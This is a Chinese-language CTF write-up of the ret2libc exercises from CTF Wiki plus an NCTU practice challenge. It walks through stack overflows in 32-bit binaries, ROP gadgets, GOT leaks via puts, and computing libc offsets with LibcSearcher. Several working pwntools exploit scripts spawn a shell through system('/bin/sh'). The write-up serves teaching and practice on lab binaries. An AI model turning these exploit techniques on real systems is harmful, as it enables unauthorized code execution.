题目来源 CTF Wiki

ret2libc

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。

关于got和plt的介绍:介绍got plt以及libc.so

ret2libc1

题目下载

首先检查程序的安全保护

1565679204977

程序只开启了栈不可执行保护,下面丢到IDA里面看一下程序源代码

可以看到在执行 gets 函数的时候出现了栈溢出,Alt+T搜索发现跟ret2text一样具有system函数,但是不再是可以直接执行的system(”/bin/sh“)

1565679630015

要使用system函数,需要将程序跳转到plt处,找到地址为0x08048460

1565680045134

所以需要我们手动将参数 /bin/sh传入进去,使用ROPgadget搜索

1
ROPgadget --binary ret2libc1 --string '/bin/sh'

1565679727715

正好存在,那么我们就可以控制程序直接返回到system函数,然后参数为/bin/sh获得shell

下面我们构造payload,经分析后无效数据填充的长度跟之前一样,还是0x70,然后在返回地址处覆盖system的地址

1
2
3
4
5
6
7
8
9
from pwn import *
sh = process('./ret2libc1')

binsh = 0x08048720
system = 0x08048460
payload = flat(['a'*0x70,system,'bbbb',binsh])

sh.sendline(payload)
sh.interactive()

这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址,其后的数据才对应为函数的参数。

注意:这里只有在plt表中调用system函数时才需要填充数据,如果使用的是程序中的call调用system函数则不需要填充数据

ret2libc2

题目下载

checksec和丢到IDA里面查看后可以发现,程序跟ret2libc1基本一样,只是搜索不到字符串/bin/sh

1565680681069

那么该怎么办呢?只能我们手动将字符串输入了。所以我们需要控制程序跳转两次,一次跳转到gets函数读取字符串(参数)/bin/sh到内存中,另一次跳转到system函数执行获取系统shell。

那么问题来了,gets读取的数据要保存到哪里呢。我们要寻找一块可读可写的buffer区,通常会寻找.bss段,在IDA里面查看可看到在.bss段里面存在一个buf2数组,地址是0x0804A080

1565681172235

我们检查一下这一块数据是否可读可写

1565681203653

接下来我们就需要考虑payload的构造了,先来搞清楚溢出覆盖后栈的情况

1565682643051

为了控制esp指针在gets函数执行完毕后可以向上移动(esp+4),在gets的返回地址填入pop ; ret指令,这样在执行system函数的时候,esp指针指向无效数据’aaaa’,buf2作为system的参数传入

使用ROPgadget工具找到可用的gadget

1565684239084

这里我选择pop ebx ; ret作为利用的gadget,当然pop ebp ; ret也可以,但是一般不建议对esp、ebp的值进行修改(为了避免程序寻址错误)。

gets函数和system函数的地址可以在IDA中查找 plt 表

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
sh = process('./ret2libc2')

system = 0x08048490
buf2 = 0x0804A080
gets = 0x08048460
pop_ret = 0x0804843d
payload = flat(['a'*0x70,gets,pop_ret,buf2,system,'aaaa',buf2])

sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

-------分割线------

这里还有另外一种更简洁的覆盖方式,但是要在理解上面payload构造方法的基础上才能明白。

1565684697675

这是第二种方法的栈覆盖结构,具体原理跟上面一样,但是省去了寻找pop ; ret这种gadget的麻烦。构造的payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
sh = process('./ret2libc2')

system = 0x08048490
buf2 = 0x0804A080
gets = 0x08048460
#pop_ret = 0x0804843d
#payload = flat(['a'*0x70,gets,pop_ret,buf2,system,'aaaa',buf2])
payload = flat(['a'*0x70,gets,system,buf2,buf2])

sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

可以看到,同样也可以获得shell

1565684879691

ret2libc3

题目下载

题目分析

同样,先检查程序,依旧是只开启了栈不可执行的32位程序,跟之前的一样,但是IDA查看会发现,这次system函数和/bin/sh都不存在了。

那么我们该如何得到system函数的地址呢?利用libc.so动态链接库。

在libc动态链接库中的函数之间的相对偏移是固定的,我们可以通过got表,泄露出某个函数的地址,然后再到libc中查找system的地址进行计算。这里有一个libc的查找工具可以使用:

LibcSearcher

这个工具使用的数据库是在github上niklasb大佬整理维护的,传送门

查看IDA中的程序源代码

1565685731034

我们可以看到puts函数可以用来泄露输出已经执行过的函数的地址,这我们可以输出puts函数在got表中的地址,当然我们也可以选择输出 __libc_start_main函数的got表地址,这个函数基本存在于所有的程序当中,它是程序最初被执行的地方。

利用思路

  • 执行程序泄露 __libc_start_main 地址,并且返回地址设置为 _start() 或者 main(),以便于下面再次执行程序
  • 选择 libc 版本
  • 通过接收puts函数输出的地址,计算libc中的地址与真实地址的偏移量,从而获得 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 利用计算得到的libc中的system函数地址和/bin/sh的地址,触发栈溢出执行 system(‘/bin/sh’)

payload编写

在第一次栈溢出用puts函数的地址覆盖函数返回地址时,puts函数的返回地址可以设置为_start()或main()函数地址。

返回地址为_start()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *

# context.log_level='debug'
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')

libc_start_main_got = ret2libc3.got['__libc_start_main']
start = ret2libc3.symbols['_start']
puts = ret2libc3.plt['puts']
payload = flat(['a'*0x70,puts,start,libc_start_main_got])
sh.sendlineafter('!?',payload)

libc_start_main_addr = u32(sh.recv(4))
libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
base_addr = libc_start_main_addr - libc.dump('__libc_start_main')
system = base_addr + libc.dump('system')
binsh = base_addr + libc.dump('str_bin_sh')

payload = flat(['a'*112,system,'aaaa',binsh])
sh.sendline(payload)
sh.interactive()

这里我们泄露的是__libc_start_main函数的地址,若要泄露puts函数的地址,大同小异,稍微修改一下exp脚本即可

脚本在执行的时候,可能会检测到多个可用的libc,需要进行选择,我们选择其中一个即可

1565687324203

返回地址为main()函数

先将_start()换成main(),payload填充字符的偏移量不变,运行脚本会发现程序并不能正确获取到shell,添加GDB调试之后发现溢出多了8个字节的数据

1565688624844

所以我们对偏移量减少8个字节即112-8=104就可以成功溢出获得shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from LibcSearcher import *
#context.log_level='debug'
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')

#gdb.attach(sh)

libc_start_main_got = ret2libc3.got['__libc_start_main']
#start = ret2libc3.symbols['_start']
main_addr = ret2libc3.symbols['main']
puts = ret2libc3.plt['puts']
#payload = flat(['a'*0x70,puts,start,libc_start_main_got])
payload = flat(['a'*0x70,puts,main_addr,libc_start_main_got])
sh.sendlineafter('!?',payload)

libc_start_main_addr = u32(sh.recv(4))
libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
base_addr = libc_start_main_addr - libc.dump('__libc_start_main')
system = base_addr + libc.dump('system')
binsh = base_addr + libc.dump('str_bin_sh')

#payload = flat(['a'*112,system,'aaaa',binsh])
payload = flat(['a'*104,system,'aaaa',binsh])
#gdb.attach(sh)
sh.sendline(payload)
sh.interactive()

_start()和main()的区别

简单地说,main()函数是用户代码的入口,是对用户而言的;而_start()函数是系统代码的入口,是程序真正的入口。

我们可以看下本题的_start()函数内容,其包含main()和__libc_start_main()函数的调用,也就是说,它才是程序真正的入口:

1565686958753

为啥会多出8个字符?

主要是因为我们两次设置不同返回地址函数的区别,即 _start() 和 main() 的区别, _start() 为程序的真正的入口、执行一定代码后才会进入main()执行,而当我们覆盖返回地址为main()函数地址时,实际上并不为程序原本的入口,但计算出的偏移量是基于程序入口计算的,因此payload的偏移量实际会偏小;至于为何刚刚好是8个字节,这个得深入调试分析 _start() 到 main() 之间的逻辑才能搞清楚,一般都是通过调试得知偏移差多少就可以做出题了。

在CTF-Wiki中的官方exp用的是main()作为返回地址,而且第二次payload直接就使用了104作为偏移,这令我百思不得其解。感谢 Mi1k7ea 大佬提供的思路为我解决了这个困惑~~

练习:train.cs.nctu.edu.tw: ret2libc

题目下载 libc下载

拿到题目先检查程序保护

1565689668742

老样子,32位程序,只开启了NX保护。丢到IDA里

1565689729781

可以看到,程序存在scanf溢出漏洞,并且程序运行的时候还打印出了/bin/shputs的地址,不禁微微窃喜

多次运行程序发现,字符串/bin/sh的地址是不变的,一直是0x0804a02c

1565689906020

题目给了我们libc文件,那么我们就可以参考ret2libc3的思路,通过puts函数泄露libc中的地址,从而计算得到system的地址,与已知字符串/bin/sh的地址进行拼接便可溢出执行shell

如若是remote方式执行脚本,我们可以令libc为下载的libc.so.6文件,本地执行的话需要我们找到在本地与程序相链接的libc文件,使用lld命令进行查看

1565690280749

这个程序在本地链接的libc的路径为/lib32/libc.so.6

**注意:**使用本地提供的libc文件就不能使用LibcSearcher这个工具进行查找,这里我们使用的是pwntools的ELF库

根据EBP和ESP的地址我们可以计算出偏移量:158-(120+1c)=0x20

1565690967593

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
# context.log_level='debug'
# sh = remote(xxx.xxx.xxx,'xxxx')
# libc = ELF('./libc.so.6')
sh = process('./ret2libc')
libc = ELF('/lib32/libc.so.6')

binsh = 0x0804a02c
sh.recvuntil('The address of function "puts" is ')
puts = sh.recvuntil('\n',drop = True)
print (puts)
puts = int(puts,16)
base = puts - libc.symbols['puts']
system = base + libc.symbols['system']
payload = flat(['a'*0x20,system,'aaaa',binsh])

sh.sendline(payload)
sh.interactive()